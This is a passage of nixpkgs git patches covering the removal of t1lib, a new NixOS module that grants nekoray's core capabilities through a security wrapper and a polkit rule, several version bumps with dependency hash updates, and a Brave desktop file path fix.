It was removed from Debian in 2014 for being unmaintained and "unsupportable".

Arch has also removed t1lib from its repository, although it seems they may be
working on bringing it back? https://gitlab.archlinux.org/archlinux/packaging/packages/t1lib

(cherry picked from commit ee54e2e2d1e55146705d81b4466924fda44afaa8)
---
 pkgs/by-name/t1/t1lib/package.nix | 74 -------------------------------
 pkgs/top-level/aliases.nix        |  1 +
 2 files changed, 1 insertion(+), 74 deletions(-)
 delete mode 100644 pkgs/by-name/t1/t1lib/package.nix

diff --git a/pkgs/by-name/t1/t1lib/package.nix b/pkgs/by-name/t1/t1lib/package.nix
deleted file mode 100644
index 6bb91c9d1978..000000000000
--- a/pkgs/by-name/t1/t1lib/package.nix
+++ /dev/null
@@ -1,74 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  fetchpatch,
-  libX11,
-  libXaw,
-}:
-
-let
-  getPatch =
-    { name, sha256 }:
-    fetchpatch {
-      inherit name sha256;
-      url =
-        "https://projects.archlinux.org/svntogit/packages.git/plain/trunk/${name}"
-        + "?h=packages/t1lib&id=643a4c2c58e70072b5bc1e9e4624162517b58357";
-    };
-
-  patches = map getPatch [
-    {
-      name = "lib-cleanup.diff";
-      sha256 = "1w3q1y4zk0y4mf2s2x9z4cd8d4af8i868c8837p40mz3dqrai4zp";
-    }
-    {
-      name = "format-security.diff";
-      sha256 = "0cca94bif9dsc6iwpcnk1504gb3sl3nsqhni85c21q9aywyz26l3";
-    }
-    {
-      name = "CVE-2011-0764.diff";
-      sha256 = "1j0y3f38im7srpqjg9jvx8as6sxkz8gw7hglcxnxl9qylx8mr2jh";
-    }
-    {
-      name = "CVE-2011-1552_1553_1554.patch";
-      sha256 = "16cyq6jhyhh8912j8hapx9pq4rzxk36ljlkxlnyi7i3wr8iz1dir";
-    }
-    {
-      name = "CVE-2010-2642.patch";
-      sha256 = "175zvyr9v1xs22k2svgxqjcpz5nihfa7j46hn9nzvkqcrhm5m9y8";
-    }
-    # this ^ also fixes CVE-2011-5244
-  ];
-in
-stdenv.mkDerivation rec {
-  pname = "t1lib";
-  version = "5.1.2";
-
-  src = fetchurl {
-    url = "mirror://ibiblioPubLinux/libs/graphics/${pname}-${version}.tar.gz";
-    hash = "sha256-ghMotQVPeJCg0M0vUoJScHBd82QdvUdtWNF+Vu2Ve1k=";
-  };
-  inherit patches;
-
-  buildInputs = [
-    libX11
-    libXaw
-  ];
-  buildFlags = [ "without_doc" ];
-
-  postInstall = lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-    # ??
-    chmod +x $out/lib/*.so.*
-  '';
-
-  meta = with lib; {
-    homepage = "http://www.t1lib.org/";
-    description = "Type 1 font rasterizer library for UNIX/X11";
-    license = with licenses; [
-      gpl2
-      lgpl2
-    ];
-    platforms = platforms.unix;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index eceba09e67f3..6c8f4710f594 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1811,6 +1811,7 @@ mapAliases {
 
   ### T ###
 
+  t1lib = throw "'t1lib' has been removed as it was broken and unmaintained upstream."; # Added 2025-06-11
   tabula = throw "tabula has been removed from nixpkgs, as it was broken"; # Added 2024-07-15
   tailor = throw "'tailor' has been removed from nixpkgs, as it was unmaintained upstream."; # Added 2024-11-02
   tangogps = throw "'tangogps' has been renamed to/replaced by 'foxtrotgps'"; # Converted to throw 2024-10-17

From 162ce8a4bac1b30f02c0c5552db0c97d0cd958f4 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Mon, 26 May 2025 00:08:39 +0800
Subject: [PATCH 0917/4511] nekoray: make it possible to use setcap wrapper

---
 .../core-also-check-capabilities.patch        | 43 +++++++++++++++++
 .../nixos-disable-setuid-request.patch        | 47 +++++++++++++++++++
 pkgs/by-name/ne/nekoray/package.nix           | 10 ++++
 3 files changed, 100 insertions(+)
 create mode 100644 pkgs/by-name/ne/nekoray/core-also-check-capabilities.patch
 create mode 100644 pkgs/by-name/ne/nekoray/nixos-disable-setuid-request.patch

diff --git a/pkgs/by-name/ne/nekoray/core-also-check-capabilities.patch b/pkgs/by-name/ne/nekoray/core-also-check-capabilities.patch
new file mode 100644
index 000000000000..d477100b172f
--- /dev/null
+++ b/pkgs/by-name/ne/nekoray/core-also-check-capabilities.patch
@@ -0,0 +1,43 @@
+diff --git a/server.go b/server.go
+index c2a6be0..8aeca1c 100644
+--- a/server.go
++++ b/server.go
+@@ -11,6 +11,7 @@ import (
+ 	E "github.com/sagernet/sing/common/exceptions"
+ 	"github.com/sagernet/sing/common/metadata"
+ 	"github.com/sagernet/sing/service"
++	"golang.org/x/sys/unix"
+ 	"log"
+ 	"nekobox_core/gen"
+ 	"nekobox_core/internal/boxbox"
+@@ -359,13 +360,25 @@ func (s *server) CompileGeoSiteToSrs(ctx context.Context, in *gen.CompileGeoSite
+ }
+ 
+ func (s *server) IsPrivileged(ctx context.Context, _ *gen.EmptyReq) (*gen.IsPrivilegedResponse, error) {
+-	if runtime.GOOS == "windows" {
+-		return &gen.IsPrivilegedResponse{
+-			HasPrivilege: false,
+-		}, nil
++	ret := false
++	if runtime.GOOS == "windows" || os.Geteuid() == 0 {
++		ret = true
++	} else if runtime.GOOS == "linux" {
++		caps := unix.CapUserHeader{
++			Version: unix.LINUX_CAPABILITY_VERSION_3,
++			Pid:     0, // current
++		}
++		var data [2]unix.CapUserData
++		err := unix.Capget(&caps, &data[0])
++		if err != nil {
++			ret = false
++		} else {
++			// CAP_NET_ADMIN = 12
++			ret = (data[0].Effective & (1 << unix.CAP_NET_ADMIN)) != 0
++		}
+ 	}
+ 
+-	return &gen.IsPrivilegedResponse{HasPrivilege: os.Geteuid() == 0}, nil
++	return &gen.IsPrivilegedResponse{HasPrivilege: ret}, nil
+ }
+ 
+ func (s *server) SpeedTest(ctx context.Context, in *gen.SpeedTestRequest) (*gen.SpeedTestResponse, error) {
diff --git a/pkgs/by-name/ne/nekoray/nixos-disable-setuid-request.patch b/pkgs/by-name/ne/nekoray/nixos-disable-setuid-request.patch
new file mode 100644
index 000000000000..ade76eb9decd
--- /dev/null
+++ b/pkgs/by-name/ne/nekoray/nixos-disable-setuid-request.patch
@@ -0,0 +1,47 @@
+diff --git a/src/global/NekoGui.cpp b/src/global/NekoGui.cpp
+index 7943d7a..5bb20cc 100644
+--- a/src/global/NekoGui.cpp
++++ b/src/global/NekoGui.cpp
+@@ -355,6 +355,12 @@ namespace NekoGui {
+     // System Utils
+ 
+     QString FindNekoBoxCoreRealPath() {
++        // find in PATH first
++        QString path = QStandardPaths::findExecutable("nekobox_core");
++        if (!path.isEmpty()) {
++            return path;
++        }
++
+         auto fn = QApplication::applicationDirPath() + "/nekobox_core";
+         auto fi = QFileInfo(fn);
+         if (fi.isSymLink()) return fi.symLinkTarget();
+diff --git a/src/ui/mainwindow.cpp b/src/ui/mainwindow.cpp
+index 9aa46b2..ba7137a 100644
+--- a/src/ui/mainwindow.cpp
++++ b/src/ui/mainwindow.cpp
+@@ -125,8 +125,7 @@ MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWi
+     NekoGui::dataStore->core_port = MkPort();
+     if (NekoGui::dataStore->core_port <= 0) NekoGui::dataStore->core_port = 19810;
+ 
+-    auto core_path = QApplication::applicationDirPath() + "/";
+-    core_path += "nekobox_core";
++    auto core_path = NekoGui::FindNekoBoxCoreRealPath();
+ 
+     QStringList args;
+     args.push_back("nekobox");
+@@ -844,6 +843,15 @@ bool MainWindow::get_elevated_permissions(int reason) {
+         return true;
+     }
+     if (NekoGui::IsAdmin()) return true;
++    QMessageBox::critical(
++        GetMessageBoxParent(),
++        tr("Unable to elevate privileges when installed with Nix"),
++        tr("Due to the read-only property of Nix store, we cannot set suid for nekobox_core. If you are using NixOS, please set `programs.nekoray.tunMode.enable` option to elevate privileges."),
++        QMessageBox::Ok
++    );
++    return false;
++    // The following code isn't effective, preserve to avoid merge conflict
++
+ #ifdef Q_OS_LINUX
+     if (!Linux_HavePkexec()) {
+         MessageBoxWarning(software_name, "Please install \"pkexec\" first.");
diff --git a/pkgs/by-name/ne/nekoray/package.nix b/pkgs/by-name/ne/nekoray/package.nix
index 3a5927a83f28..bc7765a50af3 100644
--- a/pkgs/by-name/ne/nekoray/package.nix
+++ b/pkgs/by-name/ne/nekoray/package.nix
@@ -60,6 +60,11 @@ stdenv.mkDerivation (finalAttrs: {
     # we already package those two files in nixpkgs
     # we can't place file at that location using our builder so we must change the search directory to be relative to the built executable
     ./search-for-geodata-in-install-location.patch
+
+    # disable suid request as it cannot be applied to nekobox_core in nix store
+    # and prompt users to use NixOS module instead. And use nekobox_core from PATH
+    # to make use of security wrappers
+    ./nixos-disable-setuid-request.patch
   ];
 
   installPhase = ''
@@ -99,6 +104,11 @@ stdenv.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version src;
     sourceRoot = "${finalAttrs.src.name}/core/server";
 
+    patches = [
+      # also check cap_net_admin so we don't have to set suid
+      ./core-also-check-capabilities.patch
+    ];
+
     vendorHash = "sha256-CTI9wDPJ9dYpUwvszY2nRfi+NW0nO8imt9lsQ7Nd1Q8=";
 
     # ldflags and tags are taken from script/build_go.sh

From 63bf2a80b5d665ca92fac9c7090d6614062ca19c Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Mon, 26 May 2025 00:21:30 +0800
Subject: [PATCH 0918/4511] nixos/nekoray: init module

---
 nixos/modules/module-list.nix      |  1 +
 nixos/modules/programs/nekoray.nix | 90 ++++++++++++++++++++++++++++++
 2 files changed, 91 insertions(+)
 create mode 100644 nixos/modules/programs/nekoray.nix

diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 41080f1d8965..85511ee3aad6 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -261,6 +261,7 @@
   ./programs/nano.nix
   ./programs/nautilus-open-any-terminal.nix
   ./programs/nbd.nix
+  ./programs/nekoray.nix
   ./programs/neovim.nix
   ./programs/nethoscope.nix
   ./programs/nexttrace.nix
diff --git a/nixos/modules/programs/nekoray.nix b/nixos/modules/programs/nekoray.nix
new file mode 100644
index 000000000000..e5ad81b950aa
--- /dev/null
+++ b/nixos/modules/programs/nekoray.nix
@@ -0,0 +1,90 @@
+{
+  config,
+  pkgs,
+  lib,
+  ...
+}:
+
+let
+  cfg = config.programs.nekoray;
+in
+{
+  options = {
+    programs.nekoray = {
+      enable = lib.mkEnableOption "nekoray, a GUI proxy configuration manager";
+
+      package = lib.mkPackageOption pkgs "nekoray" { };
+
+      tunMode = {
+        enable = lib.mkEnableOption "TUN mode of nekoray";
+
+        setuid = lib.mkEnableOption ''
+          setting suid bit for nekobox_core to run as root, which is less
+          secure than default setcap method but closer to upstream assumptions.
+          Enable this if you find the default setcap method configured in
+          this module doesn't work for you
+        '';
+      };
+    };
+  };
+
+  config = lib.mkIf cfg.enable {
+    environment.systemPackages = [ cfg.package ];
+
+    security.wrappers.nekobox_core = lib.mkIf cfg.tunMode.enable {
+      source = "${cfg.package}/share/nekoray/nekobox_core";
+      owner = "root";
+      group = "root";
+      setuid = lib.mkIf cfg.tunMode.setuid true;
+      # Taken from https://github.com/SagerNet/sing-box/blob/dev-next/release/config/sing-box.service
+      capabilities = lib.mkIf (
+        !cfg.tunMode.setuid
+      ) "cap_net_admin,cap_net_raw,cap_net_bind_service,cap_sys_ptrace,cap_dac_read_search+ep";
+    };
+
+    # avoid resolvectl password prompt popping up three times
+    # https://github.com/SagerNet/sing-tun/blob/0686f8c4f210f4e7039c352d42d762252f9d9cf5/tun_linux.go#L1062
+    # We use a hack here to determine whether the requested process is nekobox_core
+    # Detect whether its capabilities contain at least `net_admin` and `net_raw`.
+    # This does not reduce security, as we can already bypass `resolved` with them.
+    # Alternatives to consider:
+    # 1. Use suid to execute as a specific user, and check username with polkit.
+    #    However, NixOS module doesn't let us to set setuid and capabilities at the
+    #    same time, and it's tricky to make both work together because of some security
+    #    considerations in the kernel.
+    # 2. Check cmdline to get executable path. This is insecure because the process can
+    #    change its own cmdline. `/proc/<pid>/exe` is reliable but kernel forbids
+    #    checking that entry of process from different users, and polkit runs `spawn`
+    #    as an unprivileged user.
+    # 3. Put nekobox_core into a systemd service, and let polkit check service name.
+    #    This is the most secure and convenient way but requires heavy modification
+    #    to nekoray source code. Would be good to let upstream support that eventually.
+    security.polkit.extraConfig =
+      lib.mkIf (cfg.tunMode.enable && (!cfg.tunMode.setuid) && config.services.resolved.enable)
+        ''
+          polkit.addRule(function(action, subject) {
+            const allowedActionIds = [
+              "org.freedesktop.resolve1.set-domains",
+              "org.freedesktop.resolve1.set-default-route",
+              "org.freedesktop.resolve1.set-dns-servers"
+            ];
+
+            if (allowedActionIds.indexOf(action.id) !== -1) {
+              try {
+                var parentPid = polkit.spawn(["${lib.getExe' pkgs.procps "ps"}", "-o", "ppid=", subject.pid]).trim();
+                var parentCap = polkit.spawn(["${lib.getExe' pkgs.libcap "getpcaps"}", parentPid]).trim();
+                if (parentCap.includes("cap_net_admin") && parentCap.includes("cap_net_raw")) {
+                  return polkit.Result.YES;
+                } else {
+                  return polkit.Result.NOT_HANDLED;
+                }
+              } catch (e) {
+                return polkit.Result.NOT_HANDLED;
+              }
+            }
+          })
+        '';
+  };
+
+  meta.maintainers = with lib.maintainers; [ aleksana ];
+}

From 9c911a63b9a14ae1572d97c43bb30fb6843220cd Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Tue, 27 May 2025 16:34:26 +0800
Subject: [PATCH 0919/4511] nekoray: add aleksana to maintainers

---
 pkgs/by-name/ne/nekoray/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ne/nekoray/package.nix b/pkgs/by-name/ne/nekoray/package.nix
index bc7765a50af3..b29f1ebeb3de 100644
--- a/pkgs/by-name/ne/nekoray/package.nix
+++ b/pkgs/by-name/ne/nekoray/package.nix
@@ -137,7 +137,10 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://github.com/Mahdi-zarei/nekoray";
     license = lib.licenses.gpl3Plus;
     mainProgram = "nekoray";
-    maintainers = with lib.maintainers; [ tomasajt ];
+    maintainers = with lib.maintainers; [
+      tomasajt
+      aleksana
+    ];
     platforms = lib.platforms.linux;
   };
 })

From 50850625851bc9320a7e53a3bd0d4a267c27c70e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 9 Jun 2025 11:22:23 +0000
Subject: [PATCH 0920/4511] snac2: 2.77 -> 2.78

(cherry picked from commit c754fdd01f71c4723b6dc9c572f38d179641b7a8)
---
 pkgs/by-name/sn/snac2/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sn/snac2/package.nix b/pkgs/by-name/sn/snac2/package.nix
index 81caa40570f8..75d456a3c51b 100644
--- a/pkgs/by-name/sn/snac2/package.nix
+++ b/pkgs/by-name/sn/snac2/package.nix
@@ -10,14 +10,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "snac2";
-  version = "2.77";
+  version = "2.78";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "grunfink";
     repo = "snac2";
     tag = finalAttrs.version;
-    hash = "sha256-QUPFD7x1ZDnDxediA+oqYC8CotmGeAr36xSZ3STOK9Y=";
+    hash = "sha256-t2FQFHpEN9IZMqLp2nNH0utkKjgkw1EPxadAn07h7sw=";
   };
 
   buildInputs = [

From d8816e7ef58bd6e65026b308cf3c1fd394a421e1 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Tue, 10 Jun 2025 18:50:54 -0400
Subject: [PATCH 0921/4511] brave: fix paths in secondary .desktop file

(cherry picked from commit 36fd2b5d8a28661bd9ca4fffebf7ef1ef718af67)
---
 pkgs/by-name/br/brave/make-brave.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/br/brave/make-brave.nix b/pkgs/by-name/br/brave/make-brave.nix
index 9b098c5213dc..f8c915290b59 100644
--- a/pkgs/by-name/br/brave/make-brave.nix
+++ b/pkgs/by-name/br/brave/make-brave.nix
@@ -216,7 +216,7 @@ stdenv.mkDerivation {
       done
 
       # Fix paths
-      substituteInPlace $out/share/applications/brave-browser.desktop \
+      substituteInPlace $out/share/applications/{brave-browser,com.brave.Browser}.desktop \
           --replace /usr/bin/brave-browser-stable $out/bin/brave
       substituteInPlace $out/share/gnome-control-center/default-apps/brave-browser.xml \
           --replace /opt/brave.com $out/opt/brave.com

From e3dcd68f050b8dfad4c6d35d3723fd1acd4b4f9a Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Thu, 12 Jun 2025 00:07:02 +0100
Subject: [PATCH 0922/4511] nexusmods-app: 0.11.3 -> 0.12.3

https://github.com/Nexus-Mods/NexusMods.App/releases/tag/v0.12.3
(cherry picked from commit 5bff80a01c0b3a8258753486614d0a172fac0b16)
---
 pkgs/by-name/ne/nexusmods-app/deps.json   | 161 +++++++++-------------
 pkgs/by-name/ne/nexusmods-app/package.nix |   8 +-
 2 files changed, 74 insertions(+), 95 deletions(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/deps.json b/pkgs/by-name/ne/nexusmods-app/deps.json
index d448c117b1a1..4b45a9401d91 100644
--- a/pkgs/by-name/ne/nexusmods-app/deps.json
+++ b/pkgs/by-name/ne/nexusmods-app/deps.json
@@ -271,8 +271,8 @@
   },
   {
     "pname": "DynamicData",
-    "version": "9.2.2",
-    "hash": "sha256-76RE68Yvibq237dUEc8mCN/S4PQRyULJPs/tFgNOY2I="
+    "version": "9.3.2",
+    "hash": "sha256-00fzA28aU48l52TsrDSJ9ucljYOunmH7s2qPyR3YjRA="
   },
   {
     "pname": "EmptyFiles",
@@ -356,58 +356,58 @@
   },
   {
     "pname": "GameFinder",
-    "version": "4.6.3",
-    "hash": "sha256-Y1kNjf8kZQtx4jrAOv02Jj0JzedTqLhS7CQvtvuFtzY="
+    "version": "4.7.2",
+    "hash": "sha256-a+/4rJbo7dc4sVRg6TtvfCt02/Qlih9ovwwkAf6Lve0="
   },
   {
     "pname": "GameFinder.Common",
-    "version": "4.6.3",
-    "hash": "sha256-EjbqVIx67dZocKL+IGyvcm/7DmDMCfvOgPEUpf0XMRQ="
+    "version": "4.7.2",
+    "hash": "sha256-PNGHswvAeJyr0ipbxY884c9/SKsoYXEYMsI5ymfJovQ="
   },
   {
     "pname": "GameFinder.Launcher.Heroic",
-    "version": "4.6.3",
-    "hash": "sha256-w/z5qi5O3CjDNDR9rFdgibeUB+OspNEHfEKXLtEXkn0="
+    "version": "4.7.2",
+    "hash": "sha256-sQth9S4artOEA0nalFZRQKLkMU7IqHCx/B5HG8fJVZk="
   },
   {
     "pname": "GameFinder.RegistryUtils",
-    "version": "4.6.3",
-    "hash": "sha256-keHM0ngcgxx8UEBky6GtDMfqEv1VupeLsmNpd1i7s2A="
+    "version": "4.7.2",
+    "hash": "sha256-ujiSbIH5JHG4c861ex3zm+Uf7RbV+2tNFHKY2gtkwFg="
   },
   {
     "pname": "GameFinder.StoreHandlers.EADesktop",
-    "version": "4.6.3",
-    "hash": "sha256-n9Dg0bawW+UtedEJMHiEZOhDigd7j74DX1kWMJlbngw="
+    "version": "4.7.2",
+    "hash": "sha256-BcSyWqlsFXaQmYqD+dR2FSNI0NkzjkH9kZCqp4YOy14="
   },
   {
     "pname": "GameFinder.StoreHandlers.EGS",
-    "version": "4.6.3",
-    "hash": "sha256-v1kmug4QkBzaqm/6droC36U4gQcckv5bbdw6TIG3Y4o="
+    "version": "4.7.2",
+    "hash": "sha256-YAz1gf77Bm18dZe0h1zKO52ZJ7sw6XRz1XPQRVt8W3U="
   },
   {
     "pname": "GameFinder.StoreHandlers.GOG",
-    "version": "4.6.3",
-    "hash": "sha256-aGplqNlf8gwnoEpfieMDJQxmJJ13hdz+ahgpBdxK7Do="
+    "version": "4.7.2",
+    "hash": "sha256-hvA+kf2ZvpDS1pVSTAJ2839b1rRamJTz+Erux/OmdfE="
   },
   {
     "pname": "GameFinder.StoreHandlers.Origin",
-    "version": "4.6.3",
-    "hash": "sha256-U7DfWE2IwOBeDBvdsRXAgiGojnocGqvOa7MNq2nFJ/8="
+    "version": "4.7.2",
+    "hash": "sha256-U7ko6fWujUXabVEe0Xxc5PXwb2VBFCyHIByg3MzleG4="
   },
   {
     "pname": "GameFinder.StoreHandlers.Steam",
-    "version": "4.6.3",
-    "hash": "sha256-h+akH+XSLnhD2NLM4K3YqgXxEY2dQxeB4XN4D1d0Enk="
+    "version": "4.7.2",
+    "hash": "sha256-G1YPgAn7ORQuBm5ZD78EzKS1hIiLyQgjcX2RzSYWbO4="
   },
   {
     "pname": "GameFinder.StoreHandlers.Xbox",
-    "version": "4.6.3",
-    "hash": "sha256-fIwa/j71Ll3k371pxmKnEQWOqowW9XD0VhRTMnqsNYA="
+    "version": "4.7.2",
+    "hash": "sha256-LSxBpARmANJg199wBZ5FgvBUkq5JvCjTUEe9X+Gs+Ec="
   },
   {
     "pname": "GameFinder.Wine",
-    "version": "4.6.3",
-    "hash": "sha256-Tm1i2PO/+y/eCoVjKNsbX0Hu0w09mtUC4xkShgNVJz0="
+    "version": "4.7.2",
+    "hash": "sha256-YQgkRgF/wh+Jy5dIDBBE3lExDv5XpylL/xNBf0ge9sI="
   },
   {
     "pname": "Gee.External.Capstone",
@@ -1011,8 +1011,8 @@
   },
   {
     "pname": "Microsoft.CodeCoverage",
-    "version": "17.13.0",
-    "hash": "sha256-GKrIxeyQo5Az1mztfQgea1kGtJwonnNOrXK/0ULfu8o="
+    "version": "17.14.0",
+    "hash": "sha256-dvhelCipcrKwLvwilqwU4Md2YONCHteV+vcWnvBlLEI="
   },
   {
     "pname": "Microsoft.Composition",
@@ -1511,8 +1511,8 @@
   },
   {
     "pname": "Microsoft.NET.Test.Sdk",
-    "version": "17.13.0",
-    "hash": "sha256-sc2wvyV8cGm1FrNP2GGHEI584RCvRPu15erYCsgw5QY="
+    "version": "17.14.0",
+    "hash": "sha256-KSZk8lDeSyHDiFC2xG4b9x6XoK+6nDVEFi2dDd4bk+4="
   },
   {
     "pname": "Microsoft.NETCore.Platforms",
@@ -1551,13 +1551,13 @@
   },
   {
     "pname": "Microsoft.TestPlatform.ObjectModel",
-    "version": "17.13.0",
-    "hash": "sha256-6S0fjfj8vA+h6dJVNwLi6oZhYDO/I/6hBZaq2VTW+Uk="
+    "version": "17.14.0",
+    "hash": "sha256-e312v6n+QcNG6boEL1L7W1pzi14NhVnzf1EAH/Pn06s="
   },
   {
     "pname": "Microsoft.TestPlatform.TestHost",
-    "version": "17.13.0",
-    "hash": "sha256-L/CJzou7dhmShUgXq3aXL3CaLTJll17Q+JY2DBdUUpo="
+    "version": "17.14.0",
+    "hash": "sha256-uSiD1mioF2ROSmw4B1qONNPe5PxlKzu0AYg3kr3AYH0="
   },
   {
     "pname": "Microsoft.VisualStudio.Composition",
@@ -1671,58 +1671,58 @@
   },
   {
     "pname": "NexusMods.Cascade",
-    "version": "0.12.0",
-    "hash": "sha256-EHGoZyp67KzDPz3weqQTaSe2aMwJvwUFkeDDdqXYHBU="
+    "version": "0.15.0",
+    "hash": "sha256-lmb0zvp4cq9oOF25B/J2iBKmiBAMGtCYb6WMqeqwgA0="
   },
   {
     "pname": "NexusMods.Cascade.SourceGenerator",
-    "version": "0.12.0",
-    "hash": "sha256-P7cUTqFgHrvbEvd2nYD0acD8l3f7ZqmT6DX2fxTmpEg="
+    "version": "0.15.0",
+    "hash": "sha256-8tfNAUILcmBPeZNiQJ7VC+jbuFEhT9aZo/T7gnn4ZAI="
   },
   {
     "pname": "NexusMods.Hashing.xxHash3",
-    "version": "3.0.3",
-    "hash": "sha256-lhuuHZvH1klH6HE00h1On6icd6CLdFqvLLkfb3x1VVY="
+    "version": "3.0.4",
+    "hash": "sha256-QXqRjwLcIXD4nTJrxkhp+/2WEkGjjJgE8Zi3bX/4Y9M="
   },
   {
     "pname": "NexusMods.Hashing.xxHash3.Paths",
-    "version": "3.0.3",
-    "hash": "sha256-UeOX3Y8MGmAgWHWH3GolsA/MyNM9iam75pxxRXhd50M="
+    "version": "3.0.4",
+    "hash": "sha256-n5cVzPcTl0f3iGRFqxr2hP8MXIUQPcAizmDfnmDEAGk="
   },
   {
     "pname": "NexusMods.MnemonicDB",
-    "version": "0.13.0",
-    "hash": "sha256-Qb+RAMFYwDSmh4LJwGg0DIR4vzIPP6qJlYL1NQ1THOA="
+    "version": "0.15.0",
+    "hash": "sha256-4rtb6WRCxknp0a47tg3JPkvGOCoRXl4ilQZOaTvYQFw="
   },
   {
     "pname": "NexusMods.MnemonicDB.Abstractions",
-    "version": "0.13.0",
-    "hash": "sha256-UzVjG5w7UCWpnuvSWrWdUKTyYtb09FM5LweGfE2a5OQ="
+    "version": "0.15.0",
+    "hash": "sha256-BWx5MjJfSu4UGRVnFIncfSg6tu5OetSTdtDsIHwHZ5Q="
   },
   {
     "pname": "NexusMods.MnemonicDB.SourceGenerator",
-    "version": "0.13.0",
-    "hash": "sha256-vuvKag8+4c0YTuQ+XqitOXg6LQtgY7wonsGeQqhl0uw="
-  },
-  {
-    "pname": "NexusMods.Paths",
     "version": "0.15.0",
-    "hash": "sha256-No2kbrDVmJ5ySLm7jH+gNAfNLVnsv4AtLT1phcuOFLc="
+    "hash": "sha256-MuMgcHn+73izfYdA6WTHpvKBAITxuNhtGSW1JCJD4Y0="
   },
   {
     "pname": "NexusMods.Paths",
-    "version": "0.18.0",
-    "hash": "sha256-HNFDFStIXxkoHU8bt9enmb6YxU2NZnqbiapztQpzCcE="
+    "version": "0.19.1",
+    "hash": "sha256-OVknNOErAXglQfDFit+uIQlpxBJ//WOsYtIdGICls88="
+  },
+  {
+    "pname": "NexusMods.Paths",
+    "version": "0.20.0",
+    "hash": "sha256-EA4t3gmBF5ny9DyPdb/17NaryOEV8ZxUwS27PW2a9SM="
   },
   {
     "pname": "NexusMods.Paths.Extensions.Nx",
-    "version": "0.18.0",
-    "hash": "sha256-UcDLHyepHB1c3RnObNk7Y+2+GDAg+ZmJkGwJ+fLfo1w="
+    "version": "0.20.0",
+    "hash": "sha256-4FWRle0MlCm120gp4/3yG0WqMolf/44v+P8oSaQibDc="
   },
   {
     "pname": "NexusMods.Paths.TestingHelpers",
-    "version": "0.18.0",
-    "hash": "sha256-J8vNJ5njlKz9Nl6JzrTo232p8PAgm9t3RPh+y7nnD68="
+    "version": "0.20.0",
+    "hash": "sha256-k+1dgCZEuEO8xVfdwGKec+FgE//FX1xqIyiyPGYypF0="
   },
   {
     "pname": "NLog",
@@ -2399,11 +2399,6 @@
     "version": "4.3.0",
     "hash": "sha256-KMY5DfJnDeIsa13DpqvyN8NkReZEMAFnlmNglVoFIXI="
   },
-  {
-    "pname": "System.Collections.Immutable",
-    "version": "1.2.0",
-    "hash": "sha256-FQ3l+ulbLSPhQ0JcQCC4D4SzjTnHsRqcOj56Ywy7pMo="
-  },
   {
     "pname": "System.Collections.Immutable",
     "version": "5.0.0",
@@ -2609,11 +2604,6 @@
     "version": "4.3.0",
     "hash": "sha256-mmJWA27T0GRVuFP9/sj+4TrR4GJWrzNIk2PDrbr7RQk="
   },
-  {
-    "pname": "System.IO",
-    "version": "4.1.0",
-    "hash": "sha256-V6oyQFwWb8NvGxAwvzWnhPxy9dKOfj/XBM3tEC5aHrw="
-  },
   {
     "pname": "System.IO",
     "version": "4.3.0",
@@ -2654,11 +2644,6 @@
     "version": "9.0.0",
     "hash": "sha256-k6Pdndm5fTD6CB1QsQfP7G+2h4B30CWIsuvjHuBg3fc="
   },
-  {
-    "pname": "System.IO.Hashing",
-    "version": "9.0.4",
-    "hash": "sha256-rbcQzEncB3VuUZIcsE1tq30suf5rvRE4HkE+0lR/skU="
-  },
   {
     "pname": "System.IO.Pipelines",
     "version": "6.0.3",
@@ -2819,11 +2804,6 @@
     "version": "4.3.0",
     "hash": "sha256-rKx4a9yZKcajloSZHr4CKTVJ6Vjh95ni+zszPxWjh2I="
   },
-  {
-    "pname": "System.Reflection.Extensions",
-    "version": "4.0.1",
-    "hash": "sha256-NsfmzM9G/sN3H8X2cdnheTGRsh7zbRzvegnjDzDH/FQ="
-  },
   {
     "pname": "System.Reflection.Extensions",
     "version": "4.3.0",
@@ -2849,6 +2829,11 @@
     "version": "7.0.0",
     "hash": "sha256-GwAKQhkhPBYTqmRdG9c9taqrKSKDwyUgOEhWLKxWNPI="
   },
+  {
+    "pname": "System.Reflection.Metadata",
+    "version": "8.0.0",
+    "hash": "sha256-dQGC30JauIDWNWXMrSNOJncVa1umR1sijazYwUDdSIE="
+  },
   {
     "pname": "System.Reflection.Primitives",
     "version": "4.0.1",
@@ -2919,11 +2904,6 @@
     "version": "4.3.0",
     "hash": "sha256-KJ5aXoGpB56Y6+iepBkdpx/AfaJDAitx4vrkLqR7gms="
   },
-  {
-    "pname": "System.Runtime.InteropServices",
-    "version": "4.1.0",
-    "hash": "sha256-QceAYlJvkPRJc/+5jR+wQpNNI3aqGySWWSO30e/FfQY="
-  },
   {
     "pname": "System.Runtime.InteropServices",
     "version": "4.3.0",
@@ -3044,11 +3024,6 @@
     "version": "5.0.0",
     "hash": "sha256-CBOQwl9veFkrKK2oU8JFFEiKIh/p+aJO+q9Tc2Q/89Y="
   },
-  {
-    "pname": "System.Text.Encoding",
-    "version": "4.0.11",
-    "hash": "sha256-PEailOvG05CVgPTyKLtpAgRydlSHmtd5K0Y8GSHY2Lc="
-  },
   {
